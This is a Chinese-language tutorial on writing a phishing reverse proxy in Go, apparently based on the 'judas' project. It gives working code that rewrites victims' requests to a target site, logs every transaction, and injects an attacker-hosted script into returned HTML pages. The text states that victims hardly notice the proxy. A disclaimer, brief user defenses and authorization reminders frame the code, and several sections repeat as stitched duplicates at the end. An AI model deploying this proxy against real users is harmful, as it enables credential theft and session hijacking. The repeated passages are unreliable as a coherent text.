使用Go语言构建反向代理进行网络钓鱼测试<\/h1>

免责声明<\/h2>
本文仅用于教育目的，旨在帮助安全研究人员了解网络钓鱼技术原理以便更好地防御。切勿使用文中提及的技术从事任何非法活动！<\/p>

技术概述<\/h2>

本教程介绍如何使用Go语言构建一个反向代理服务器，用于模拟网络钓鱼攻击。该代理能够：<\/p>

拦截受害者的HTTP请求<\/li>
修改请求头使其指向目标网站<\/li>
捕获并可能修改响应内容<\/li>

记录完整的请求-响应事务<\/li> <\/ol>

核心组件<\/h2>

HTTPTransaction结构体<\/h3>

type<\/span> HTTPTransaction<\/span> struct<\/span> {
<\/span><\/span>    Request<\/span>  *<\/span>http<\/span>.Request<\/span>
<\/span><\/span>    Response<\/span> *<\/span>http<\/span>.Response<\/span>
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>该结构体表示一个完整的请求-响应流程，用于记录和后续分析。<\/p>
PhishingProxy结构体<\/h3>
type<\/span> PhishingProxy<\/span> struct<\/span> {
<\/span><\/span>    client<\/span>               *<\/span>http<\/span>.Client<\/span>
<\/span><\/span>    targetURL<\/span>            *<\/span>url<\/span>.URL<\/span>
<\/span><\/span>    responseTransformers<\/span> []ResponseTransformer<\/span>
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>主要代理结构，包含：<\/p>

HTTP客户端用于转发请求<\/li>
目标URL<\/li>
响应转换器数组<\/li>
<\/ul>
实现原理<\/h2>
主函数流程<\/h3>
func<\/span> main<\/span>() {
<\/span><\/span>    \/\/ 解析命令行参数等初始化工作
<\/span><\/span><\/span><\/span>    
<\/span><\/span>    phishingProxy<\/span> :=<\/span> &<\/span>PhishingProxy<\/span>{
<\/span><\/span>        client<\/span>:               client<\/span>,
<\/span><\/span>        targetURL<\/span>:            targetURL<\/span>,
<\/span><\/span>        responseTransformers<\/span>: responseTransformers<\/span>,
<\/span><\/span>    }
<\/span><\/span>    
<\/span><\/span>    transactions<\/span> :=<\/span> make(chan<\/span> *<\/span>HTTPTransaction<\/span>)
<\/span><\/span>    go<\/span> processTransactions<\/span>(transactions<\/span>)
<\/span><\/span>    
<\/span><\/span>    for<\/span> {
<\/span><\/span>        conn<\/span>, err<\/span> :=<\/span> server<\/span>.Accept<\/span>()
<\/span><\/span>        if<\/span> err<\/span> !=<\/span> nil<\/span> {
<\/span><\/span>            log<\/span>.Println<\/span>("Error when accepting request,"<\/span>, err<\/span>.Error<\/span>())
<\/span><\/span>        }
<\/span><\/span>        go<\/span> phishingProxy<\/span>.HandleConnection<\/span>(conn<\/span>, transactions<\/span>)
<\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>主函数创建代理实例，启动事务处理goroutine，并循环接受新连接，为每个连接启动单独的goroutine处理。<\/p>
连接处理<\/h3>
func<\/span> (p<\/span> *<\/span>PhishingProxy<\/span>) HandleConnection<\/span>(conn<\/span> net<\/span>.Conn<\/span>, transactions<\/span> chan<\/span> *<\/span>HTTPTransaction<\/span>) {
<\/span><\/span>    defer<\/span> conn<\/span>.Close<\/span>()
<\/span><\/span>    
<\/span><\/span>    reader<\/span> :=<\/span> bufio<\/span>.NewReader<\/span>(conn<\/span>)
<\/span><\/span>    request<\/span>, err<\/span> :=<\/span> http<\/span>.ReadRequest<\/span>(reader<\/span>)
<\/span><\/span>    if<\/span> err<\/span> !=<\/span> nil<\/span> {
<\/span><\/span>        log<\/span>.Println<\/span>("Error parsing request:"<\/span>, err<\/span>.Error<\/span>())
<\/span><\/span>        return<\/span>
<\/span><\/span>    }
<\/span><\/span>    
<\/span><\/span>    \/\/ 修改请求头
<\/span><\/span><\/span><\/span>    request<\/span>.URL<\/span>.Scheme<\/span> = p<\/span>.targetURL<\/span>.Scheme<\/span>
<\/span><\/span>    request<\/span>.URL<\/span>.Host<\/span> = p<\/span>.targetURL<\/span>.Host<\/span>
<\/span><\/span>    request<\/span>.Host<\/span> = p<\/span>.targetURL<\/span>.Host<\/span>
<\/span><\/span>    request<\/span>.RequestURI<\/span> = ""<\/span>
<\/span><\/span>    
<\/span><\/span>    \/\/ 转发请求
<\/span><\/span><\/span><\/span>    resp<\/span>, err<\/span> :=<\/span> p<\/span>.client<\/span>.Do<\/span>(request<\/span>)
<\/span><\/span>    if<\/span> err<\/span> !=<\/span> nil<\/span> {
<\/span><\/span>        log<\/span>.Println<\/span>("Proxy error:"<\/span>, err<\/span>.Error<\/span>())
<\/span><\/span>        return<\/span>
<\/span><\/span>    }
<\/span><\/span>    
<\/span><\/span>    \/\/ 转换响应
<\/span><\/span><\/span><\/span>    for<\/span> _<\/span>, transformer<\/span> :=<\/span> range<\/span> p<\/span>.responseTransformers<\/span> {
<\/span><\/span>        transformer<\/span>.Transform<\/span>(resp<\/span>)
<\/span><\/span>    }
<\/span><\/span>    
<\/span><\/span>    \/\/ 发送修改后的响应
<\/span><\/span><\/span><\/span>    modifiedResponse<\/span>, err<\/span> :=<\/span> httputil<\/span>.DumpResponse<\/span>(resp<\/span>, true<\/span>)
<\/span><\/span>    if<\/span> err<\/span> !=<\/span> nil<\/span> {
<\/span><\/span>        log<\/span>.Println<\/span>("Error converting requests to bytes:"<\/span>, err<\/span>.Error<\/span>())
<\/span><\/span>        return<\/span>
<\/span><\/span>    }
<\/span><\/span>    
<\/span><\/span>    _<\/span>, err<\/span> = conn<\/span>.Write<\/span>(modifiedResponse<\/span>)
<\/span><\/span>    if<\/span> err<\/span> !=<\/span> nil<\/span> {
<\/span><\/span>        log<\/span>.Println<\/span>("Error responding to victim:"<\/span>, err<\/span>.Error<\/span>())
<\/span><\/span>        return<\/span>
<\/span><\/span>    }
<\/span><\/span>    
<\/span><\/span>    \/\/ 记录事务
<\/span><\/span><\/span><\/span>    transactions<\/span> <-<\/span> &<\/span>HTTPTransaction<\/span>{
<\/span><\/span>        Request<\/span>:  request<\/span>,
<\/span><\/span>        Response<\/span>: resp<\/span>,
<\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>响应转换器接口<\/h3>
type<\/span> ResponseTransformer<\/span> interface<\/span> {
<\/span><\/span>    Transform<\/span>(response<\/span> *<\/span>http<\/span>.Response<\/span>) error<\/span>
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>该接口允许对响应进行任意修改，例如注入JavaScript或替换内容。<\/p>
JavaScript注入实现<\/h3>
type<\/span> JavaScriptInjectionTransformer<\/span> struct<\/span> {
<\/span><\/span>    javascriptURL<\/span> string<\/span>
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>func<\/span> (j<\/span> JavaScriptInjectionTransformer<\/span>) Transform<\/span>(response<\/span> *<\/span>http<\/span>.Response<\/span>) error<\/span> {
<\/span><\/span>    if<\/span> !strings<\/span>.Contains<\/span>(response<\/span>.Header<\/span>.Get<\/span>("Content-Type"<\/span>), "text\/html"<\/span>) {
<\/span><\/span>        return<\/span> nil<\/span>
<\/span><\/span>    }
<\/span><\/span>    
<\/span><\/span>    responseText<\/span>, err<\/span> :=<\/span> ioutil<\/span>.ReadAll<\/span>(response<\/span>.Body<\/span>)
<\/span><\/span>    responseBuffer<\/span> :=<\/span> bytes<\/span>.NewBuffer<\/span>(responseText<\/span>)
<\/span><\/span>    response<\/span>.Body<\/span> = ioutil<\/span>.NopCloser<\/span>(responseBuffer<\/span>)
<\/span><\/span>    
<\/span><\/span>    if<\/span> err<\/span> !=<\/span> nil<\/span> {
<\/span><\/span>        return<\/span> err<\/span>
<\/span><\/span>    }
<\/span><\/span>    
<\/span><\/span>    document<\/span>, err<\/span> :=<\/span> goquery<\/span>.NewDocumentFromReader<\/span>(responseBuffer<\/span>)
<\/span><\/span>    if<\/span> err<\/span> !=<\/span> nil<\/span> {
<\/span><\/span>        return<\/span> err<\/span>
<\/span><\/span>    }
<\/span><\/span>    
<\/span><\/span>    payload<\/span> :=<\/span> fmt<\/span>.Sprintf<\/span>("<script type='text\/javascript' src='%s'><\/script>"<\/span>, j<\/span>.javascriptURL<\/span>)
<\/span><\/span>    selection<\/span> :=<\/span> document<\/span>.
<\/span><\/span>        Find<\/span>("head"<\/span>).
<\/span><\/span>        AppendHtml<\/span>(payload<\/span>).
<\/span><\/span>        Parent<\/span>()
<\/span><\/span>    
<\/span><\/span>    html<\/span>, err<\/span> :=<\/span> selection<\/span>.Html<\/span>()
<\/span><\/span>    if<\/span> err<\/span> !=<\/span> nil<\/span> {
<\/span><\/span>        return<\/span> err<\/span>
<\/span><\/span>    }
<\/span><\/span>    
<\/span><\/span>    response<\/span>.Body<\/span> = ioutil<\/span>.NopCloser<\/span>(bytes<\/span>.NewBufferString<\/span>(html<\/span>))
<\/span><\/span>    return<\/span> nil<\/span>
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>该转换器使用goquery库解析HTML文档，并在标签中注入指定的JavaScript文件。<\/p>
防御措施<\/h2>

使用书签访问重要网站<\/strong>：为登录页面添加书签，避免通过链接访问<\/li>
仔细检查URL<\/strong>：即使看到安全提示(如HTTPS锁图标)，也要验证URL是否正确<\/li>
谨慎点击邮件链接<\/strong>：对通过电子邮件收到的链接保持警惕<\/li>
使用双因素认证<\/strong>：即使凭证被窃取，也能提供额外保护层<\/li>
注意网站异常<\/strong>：如布局变化、功能缺失等可能表明是钓鱼网站<\/li>
<\/ol>
完整实现<\/h2>
完整代码可在GitHub仓库查看：

https:\/\/github.com\/JonCooperWorks\/judas<\/a><\/p>
技术要点总结<\/h2>

Go的标准库net\/http<\/code>和net\/http\/httputil<\/code>提供了强大的HTTP代理功能<\/li>
Goroutines和Channels使并发处理连接和事务变得简单高效<\/li>
通过修改请求头可以无缝将流量重定向到目标网站<\/li>
响应转换器提供了灵活的响应修改能力<\/li>
这种代理可以完全透明地工作，受害者难以察觉<\/li>
<\/ol>
扩展应用<\/h2>

安全测试<\/strong>：用于测试Web应用对中间人攻击的抵抗力<\/li>
内容过滤<\/strong>：修改为正向代理用于企业内容过滤<\/li>
性能测试<\/strong>：记录和分析Web应用性能特征<\/li>
开发调试<\/strong>：作为开发环境中的调试工具，拦截和修改API响应<\/li>
<\/ol>
注意事项<\/h2>

在实际安全测试中，必须获得明确授权<\/li>
记录的用户数据必须妥善处理，遵守隐私法规<\/li>
此类技术可能被滥用，应严格控制使用范围<\/li>
建议在隔离的测试环境中进行实验<\/li>
<\/ol>

使用Go语言构建反向代理进行网络钓鱼测试<\/h1>

免责声明<\/h2> 本文仅用于教育目的，旨在帮助安全研究人员了解网络钓鱼技术原理以便更好地防御。切勿使用文中提及的技术从事任何非法活动！<\/p>

核心组件<\/h2>

实现原理<\/h2>

完整实现<\/h2> 完整代码可在GitHub仓库查看： https:\/\/github.com\/JonCooperWorks\/judas<\/a><\/p>

注意事项<\/h2> 在实际安全测试中，必须获得明确授权<\/li> 记录的用户数据必须妥善处理，遵守隐私法规<\/li> 此类技术可能被滥用，应严格控制使用范围<\/li> 建议在隔离的测试环境中进行实验<\/li> <\/ol>

免责声明<\/h2>
本文仅用于教育目的，旨在帮助安全研究人员了解网络钓鱼技术原理以便更好地防御。切勿使用文中提及的技术从事任何非法活动！<\/p>

完整实现<\/h2>
完整代码可在GitHub仓库查看：
https:\/\/github.com\/JonCooperWorks\/judas<\/a><\/p>

注意事项<\/h2>

在实际安全测试中，必须获得明确授权<\/li>
记录的用户数据必须妥善处理，遵守隐私法规<\/li>
此类技术可能被滥用，应严格控制使用范围<\/li>
建议在隔离的测试环境中进行实验<\/li> <\/ol>